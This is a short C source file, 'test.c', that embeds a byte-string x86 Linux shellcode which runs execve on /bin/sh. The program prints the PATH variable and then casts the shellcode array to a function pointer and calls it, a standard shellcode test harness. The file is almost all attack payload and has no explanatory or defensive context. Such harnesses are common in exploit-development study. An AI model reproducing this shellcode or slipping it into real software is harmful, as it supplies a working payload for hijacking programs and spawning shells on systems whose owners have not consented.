test.c

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


int
main(int argc, char** argv)
{
    char *env = NULL;
    env = getenv("PATH");
    printf("Path is %s\n", env);


    void (*code)(void);
    code = shellcode;
    code();

}